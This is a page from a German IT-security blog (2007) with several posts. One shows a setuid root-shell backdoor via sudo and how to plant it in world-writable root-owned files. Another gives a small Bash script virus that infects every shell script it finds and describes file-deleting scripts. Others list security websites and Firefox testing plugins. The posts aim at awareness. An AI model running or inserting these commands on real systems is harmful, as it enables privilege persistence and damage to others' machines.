IT-Security

Strict Standards: Non-static method serendipity_plugin_api::hook_event() should not be called statically in /www/htdocs/w0072ee3/blog/include/functions_smarty.inc.php on line 541

Strict Standards: Non-static method serendipity_plugin_api::get_event_plugins() should not be called statically in /www/htdocs/w0072ee3/blog/include/plugin_api.inc.php on line 1007

Ubuntu Rootshell

13 06 2007

Es ist zwar keine Schwachstelle, dennoch eine interessante Möglichkeit wie man sich eine Rootshell unter Ubuntu verschaffen kann. Hierzu muss einfach folgendes Script gestartet werden:

duddits@ubuntu:/home/duddits$ vi rs.sh

#!/bin/sh
sudo cp /bin/sh /tmp/.rs
sudo chmod 4755 /tmp/.rs

duddits@ubuntu:/home/duddits$ chmod 755 rs.sh
duddits@ubuntu:/home/duddits$ ./rs.sh
duddits@ubuntu:/home/duddits$ /tmp/.rs
# whoami
root
#

Je nach dem ob der Benutzer zuvor schon einmal sudo verwendet hatte, kann es beim Ausführen des Script zu einer Passwort-Frage kommen oder nicht. Wichtig ist vor allem das die UID und GID 0 sind, also das Besitzer und Gruppe die von Root sind von der Datei /tmp/.rs. Natürlich ist dafür nicht zwingend ein Script notwendig, es würde auch reichen die Befehle direkt am Kommando-Prompt abzusetzen. Für einen Angreifer ist dies natürlich uninteressant, da er ja das Passwort des Benutzers kennen müsste und könnte dann genauso gut auch einfach via

sudo su -

Root werden. Den einzigen Ansatz den ein Angreifer hier verfolgen könnte, wäre nach World Writable Files, also global beschreibbaren Dateien zu suchen, welche als Besitzer und als Gruppe root

haben und diesen dann die beiden Befehle hinzufügen:

duddits@gentoo:~ $ find / -type f \( -perm -7 -o -perm -70 \) -gid 0 -uid 0 -exec ls -lA {} \;
-rwxrwxrwx 1 root root 80500 2007-06-13 12:26 /home/evil
duddits@gentoo:~ $ echo cp /bin/sh /tmp/.rs >> /home/evil
duddits@gentoo:~ $ echo chmod 4755 /tmp/.rs >> /home/evil

Kommentare : Noch keine Kommentare »
Kategorien : IT-Security
Trackbacks : Keine Trackbacks »

Der Benutzer, die ewige Gefahr für jedes System

27 05 2007

Viele Systeme erliegen oft einer viel zu unterschätzen Gefahr, dem Benutzer. Denn selbst die beste Antiviren-Software mag einem nicht vor einen einfachen Scriptvirus schützen können, wenn der Benutzer diesen einfach ausführt. Dabei spielt es keine Rolle ob es sich um Windows, Linux oder Mac OS X handelt. Viele Angriffe auf diese Betriebssysteme benötigen oft das zu tun von einem Benutzer. Hierbei hilft z.B. Social Engineering.

Selbst der Kommandointerpreter von Windows bietet genügend Potential. Die cmd mag zwar noch lange nicht so viele Möglichkeiten bieten wie z.B. die Bash, aber dennoch hat man auch hier die Möglichkeit Schaden anzurichten.

Ein Beispiel für solch einen einfachen Script-Virus wäre z.B. nachfolgendes Batch-Script. Dabei soll die hier gezeigten Möglichkeiten nur die technischen Möglichkeiten der Kommandointerpreter der verschiedenen Betriebssysteme aufzeigen und darf nur mit ausdrücklicher Genehmigung des Berechtigten getestet werden. Ich übernehme keine Haftung für evtl. enstandene Schäden.

triton.bat v1

Natürlich bietet dieses Script noch genügend Spielraum. Man muss seiner Fantasy nur freien lauf lassen:

triton.bat v2

Wie man an diesen beiden Beispiel Batch-Viren gut erkennen kann, ist der Schaden der schon durch ein einfaches Script angerichtet werden kann immens. Wer sich für das Entwickeln von Batch-Viren interessiert sollte sich das Batch-Viren-Lehrbuch von Snakebyte zu Gemüte führen. Auch unter Linux sind diese Angriffsvektoren vorhanden, wobei die Bash oder einer der anderen Kommandointerpreter unter Linux aufgrund ihrer Komplexität wesentlich mehr Potential bieten.

#!/bin/sh
for f in 'find . -type f -exec grep -ql #\!/bin/sh {} \;'

do

echo "logout" > tmp$$
cat $f >> tmp$$
mv tmp$$ $f
chmod 777 $f

done

Dieses Script verfolgt den Ansatz, das es einmal ausgeführt wird, versucht alle Skripte auf dem System ausfindig zu machen und bei jedem einzelnen dann zusätzlichen Code einzufügen.
Dieser zusätzliche Code hier ist realativ harmlos, so wird nur der logout-Befehl, welcher den gerade angemeldeten User abmeldet, angefügt. Mit ein wenig Fantasie könnte man dieses Grundgerüst jedoch für weit mehr nutzen.
Je nachdem welcher User das Skript ausführt, sind dann weniger oder mehr Skripte des Systems betroffen.
Das Ziel eines Angreifers wird natürlich sein, dass der Superuser (root) das Skript ausführt, der damit auf einen Schlag sämtliche Skripte des Systems, die sich als Bourne-Shell zu erkennen geben, infiziert.
Damit der Superuser das Skript nicht ausführen muss, könnte man dem Skript noch ein Exploit voran setzen, der dem ausführenden User, ohne dessen Wissen, zuerst priviligierte Superuser-Rechte verschaft, bevor der oben stehende Code ausgeführt werden kann.

Eine andere Möglichkeit wäre ein Skript mit dem Ziel, das sämtliche dem Skript zugänglichen Dateien löscht.

Dieses Skript verfügt dann schon über mehr Schadenspotential, als man auf den ersten Blick vermutet.
Führt man beispielsweise als "normaler" Systembenutzer ein solches Sckript aus, so würden dementsprechend "nur" alle Dateien gelöscht, die dem User gehören. Natürlich sind auch alle Dateien davon betroffen, die mit 777-Rechten ausgestattet sind.

Führt solch ein Skript nun ein User mit Superuser Rechten aus, so sind alle Systemdateien davon betroffen.

Wie man an diesen Beispielen gut erkennen kann, ist der mögliche Schaden nur durch die Fantasie des Entwicklers der Script-Viren eingeschränkt, jedoch bedarfen diese Viren, wie auch die meisten anderen Viren, die Interkation von Benutzern. Doch gerade bei vielen Linux-Anwendern herrscht die Meinung, das es unter Linux keine Viren gibt. Gerade dieser Irrglaube könnte es solch einen Script-Virus leicht machen ein Linux-System zu kompromittieren. Somit sollte man nie leichtgläubig irgendwelche Scripte oder Programme starten, ohne derren Herkunft oder Funktionen eindeutig nachvollziehen zu können.

Das Betriebssystem spielt dabei nur eine minderwertige Rolle. Ein Benutzer oder Administatror der sich diesen Gefahren bewusst ist, wird wahrscheinlich weniger von solchen Angriffs-Vektoren betroffen sein, als ein gutgläubiger Benutzer. Daher bedarf es einer besseren Sensibilisierung für das Thema IT-Sicherheit, auch wenn das Interesse nicht unbedingt vorhanden ist

Kommentare : Noch keine Kommentare »
Kategorien : IT-Security
Trackbacks : Keine Trackbacks »

Informationsvielfalt IT-Sicherheit

29 04 2007

Webseiten und Blogs die sich mit IT-Sicherheit befassen, gibt es im Internet mittlerweile wie Sand am Meer. Wenn man sich nun neu in diesem Gefilde bewegt, ist es schwer in der Qualität der einzelnen Webseiten zu differenzieren. Es gibt Webseiten die Berichten immer mal wieder über allgemeine Themen der IT-Sicherheit und gehen weniger ins Detail, zu dieser Kategorie würde ich diese Webseite hier auch einordnen. Dann wiederum gibt es Webseiten/Blogs die sich einem Teilgebiet der IT-Sicherheit verschrieben haben, dies kann dann z.B. über Websicherheit oder über Malicious Software sein.

Ich stelle hier mal eine Liste zusammen mit Links, zu Blogs und Webseiten, die ich mir immer mal wieder ansehe, um mich zu informieren:

Articles/Howtos

http://www.computec.ch/

http://www.hackerscenter.com

http://packetstormsecurity.org

http://www.sans.org/reading_room

General about IT-Security

http://blogs.securiteam.com

http://blog.metasploit.com

http://www.computec.ch

http://www.seclog.de

http://www.schneier.com/blog

General News

http://slashdot.org

http://www.heise.de

http://www.heise.de/security

Operatin Systems

http://blogs.technet.com/markrussinovich

http://kerneltrap.org

http://www.linuxsecurity.com

Malicious Software

http://www.f-secure.com/weblog

http://www.invisiblethings.org

http://theinvisiblethings.blogspot.com

Programming/Analysis

http://hexblog.com

Security Mailing-Lists/Vulnerabilities

http://www.cert.org/kb/index.html

http://www.derkeiler.com

http://www.milw0rm.com

http://www.securityfocus.com

http://seclists.org

http://www.securityforest.com

Websecurity

http://blog.php-security.org

http://www.disenchant.ch/blog

http://ha.ckers.org

http://jeremiahgrossman.blogspot.com

http://sylvanvonstuppe.blogspot.com

http://www.gnucitizen.org

Natürlich lese ich nicht alle diese Webseiten täglich. Aus jeder der oben genannten Kategorie habe ich ein bis zwei RSS Feeds aboniert, die ich auch regelmäßg lese. Bei den anderen schaue ich eher sporadisch vorbei.

Kommentare : Noch keine Kommentare »
Kategorien : IT-Security
Trackbacks : Keine Trackbacks »

Firefox Plugins zum vereinfachten Ausnutzen von Angriffsvektoren

20 04 2007

Firefox bietet schon seit langen eine Vielzahl von nützlichen Plugins, wenn es darum geht, sich Webseiten genauer anzusehen.

Dabei bieten diese Plugins einem Benutzer oft eine menge Möglichkeiten. So z.B. refspoof, welches einem das einfache Spoofen des HTTP Header ermöglicht, ohne auf Telnet oder Netcat zurück zu greifen, wobei dies natürlich auch nicht schwer ist nur ist es über refspoof wesentlich komfortabler.
Zum Thema nützliche Plugins zu Firefox zum Ausnutzen von Angriffsvektoren wurde ende letzen Jahres ein interessanten Artikel auf Securityfocus veröffentlicht:
http://www.securityfocus.com/infocus/1879

Weitere nützliche Plugins sind:
https://addons.mozilla.org/en-US/firefox/addon/966 Tamper Data
http://livehttpheaders.mozdev.org/ Live HTTP Headers
https://addons.mozilla.org/firefox/60/ Web Developer

Wobei diese Plugins in erster Linie Entwicklern von Webanwendungen bzw. Webseiten helfen, so können diese auch sehr nützlich sein, um das Verhalten solcher Applikationen auf mögliche Angriffsvektoren zu untersuchen.

Kommentare : Noch keine Kommentare »
Kategorien : IT-Security
Trackbacks : Keine Trackbacks »

« vorherige Seite (Seite 2 von 3, insgesamt 11 Einträge) » nächste Seite
Strict Standards: Non-static method serendipity_plugin_api::hook_event() should not be called statically in /www/htdocs/w0072ee3/blog/include/functions_smarty.inc.php on line 541

Strict Standards: Non-static method serendipity_plugin_api::get_event_plugins() should not be called statically in /www/htdocs/w0072ee3/blog/include/plugin_api.inc.php on line 1007

Ubuntu Rootshell

Der Benutzer, die ewige Gefahr für jedes System

Informationsvielfalt IT-Sicherheit

Firefox Plugins zum vereinfachten Ausnutzen von Angriffsvektoren

Suche

Kategorien

Blog abonnieren